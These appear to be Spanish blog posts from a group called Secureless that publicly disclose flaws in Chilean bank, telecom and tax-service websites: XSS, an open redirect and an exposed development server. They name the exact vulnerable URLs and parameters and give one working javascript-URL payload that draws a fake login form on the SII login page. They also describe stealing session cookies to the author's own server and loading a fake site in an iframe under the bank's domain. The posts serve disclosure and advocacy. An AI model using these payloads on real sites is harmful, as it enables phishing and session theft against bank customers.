El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.

Al igual que lo comentado en el post de El Phishing y el Banco Santander Chile, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.

La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador. El tipoco error de no parsear los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).

La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en Secureless junto al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia.

El script vulnerable corresponde a http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable q.

Las politicas de seguridad del banco dicen textualmente:

Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.

Nuevamente, este es un llamado para que los bancos se hagan cargo de este tipo de cosas!

Editado: (13 de Junio del 2011) La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.

Si accedemos al sitio y vemos el codigo fuente, podemos ver que hay un tag que está comentado, corresponde a un link hacia la URL de desarrollo de este sistema

Claramente corresponde a una url de desarrollo, donde tambien podemos ver que poniendo “~usuario” tambien podriamos acceder a otros desarrollos. Si navegamos hacia esa URL nos damos cuenta que el servidor se encuentra totalmente desprotegido y es posible acceder información sensible, podemos acceder a versiones anteriores y veresiones de prueba de este sistema.

No solo encontramos versiones de prueba y antiguas de Movistar Cloud, sino que tambien desarrollos de otros sistemas que hace esa empresa.

Movistar, siendo una empresa tan grande y ofreciendo servicios “en la nube“, donde los usuarios confian la seguridad sus archivos, no debería permitirse este tipo de cosas.

EDITADO: Un par de horas despues de haber publicado este post, se han contactado conmigo para informarme que el bug ha sido corregido y que el acceso al servidor de desarrollo ya se encuentra limitado.

Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.

Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.

La URL vulnerable es https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html que al agregarle al final “?http://alguna_url“, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com

Luego de ingresar, seremos redirigidos a Google.

Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:

O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;

Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.

Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.

Hace unos meses reporté una vulnerabilidad XSS en la banca de personas del Banco Santander, la cual no ha sido corregida. Ahora, segun la campaña anunciada por parte de Secureless, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer y que no, explotando estas vulnerabilidades donde los unicos afectados son los clientes usuarios.

Las vulnerabilidades detectadas son del tipo XSS, encontradas en el sistema de clientes (banca de personas) y en el sitio web público.

Los scripts o urls vulnerables son:

• https://www.santander.cl/transa/errores/PagError.asp
• https://www.santander.cl/transa/productos/tc_conti/PAMPA/pcpMosTjc.asp
• https://www.santander.cl/transa/preerror.asp

Las tres con certificado ssl, permitiendo aprovecharse de la confianza que tiene el usuario sobre el sitio.

Como primera prueba de concepto, inyectaré un código html que permita crear un iframe dentro del sitio, mostrando información de un sitio remoto distinto al Santander, que perfectamente podria ser un sitio malicioso.

En este caso, en mi servidor tengo un archivo “PoC.html” y he accedido a el desde el dominio santander.cl. De esta forma podemos incluir en ese iframe un sitio que tenga una copia exacta del banco, usando el dominio de santander y la confianza del usuario.

El siguiente ejercicio, será el secuestro de cookies. El primer paso es ver la cookie usando un simple “alert” en javascript:

El primer pantallazo corresponde a una de las URL que no necesita estar logeado, el segundo es con la sesión iniciada.

Ahora enviaremos esa cookie a un servidor externo, inyectando el siguiente script:

Y recibiendolo en mi servidor con un simple script en php que lea la variable “cookie” pasada por GET.
En el caso de no estar con la sesion iniciada, veremos algo asi:

Cuando iniciemos sesion, fijense el cambio:

El IDLOGIN cambia.

Finalmente, podemos lograr algo asi:

En la URL https://www.santander.cl se visualiza el sitio de http://www.bancoestado.cl, con un simple iframe pasado por GET a la variable y script vulnerable.

Perfectamente un atacante podria realizar algo similar, con un sitio completamente falso que se dedicara a obtener información, pedir usuario, contraseña, etc.

En Chile, los bancos tienen una campaña contra el phishing donde se limitan a entregar manuales y decir “no ingreses tus datos donde no debes”, pero realmente no se preocupan de tener mecanismos de validación y protección, permitiendo que cualquier persona pueda suplantar su identidad y usar la confianza que tiene el usuario en el sitio.
Existe un sitio llamado “avispate.cl“, que supuestamente es para hacer un llamado a la gente y educar para que no caigan en este tipo de trampas y no entreguen información a cualquier sitio.

Bien, por un lado tenemos que los usuarios entregan información a personas que no corresponden, que caen en las trampas pero por otro lado, algo que es claramente responsabilidad del banco: Hacer que sus sitios y sistemas sean 100% seguros!

Los bancos en lugar de ayudar a los usuarios y prevenir este tipo de ataques, prefieren cobrar:

En secureless, comenzamos a trabajar en una investigación en busca de vulnerabilidades XSS, CSRF y otras que puedan afectar directamente al usuario. Nuestro propósito es dejar en claro que los bancos deben ser competentes y responder por las fallas de seguridad que tienen. Hasta ahora, según nosotros, como este tipo de vulnerabilidades no les afecta a ellos, sino que afecta a los clientes, entonces no se preocupan lo suficiente.
El proyecto consiste en publicar estas vulnerabilidades diariamente durante un par de dias, demostrar y dejar al descubierto este tipo de negligencia. Comenzaremos por Chile, luego seguiremos atacando bancos de otros paises.

Sobre XSS y CSRF …

Las vulnerabilidades XSS permiten realizar modificaciones en los sitios web por el lado del cliente, cuando una entidad bancaria con certificado ssl (https) tiene este tipo de vulnerabilidad, se combierte en un sitio potencial para ser atacado y sus usuarios los afectados. Por ejemplo, si un sitio permite inyectar código html o javascript, facilmente podriamos poner un iframe que ocupe todo el ancho y alto del navegador, y que el usuario no se de cuenta que está visitando a otra página.

Por otro lado tenemos los ataques CSRF, que combinado con XSS, practicamente es posible hacer lo que queramos con el usuario: llevarlo de un sitio a otro, pasar parametros de un sitio falso a uno verdadero, etc.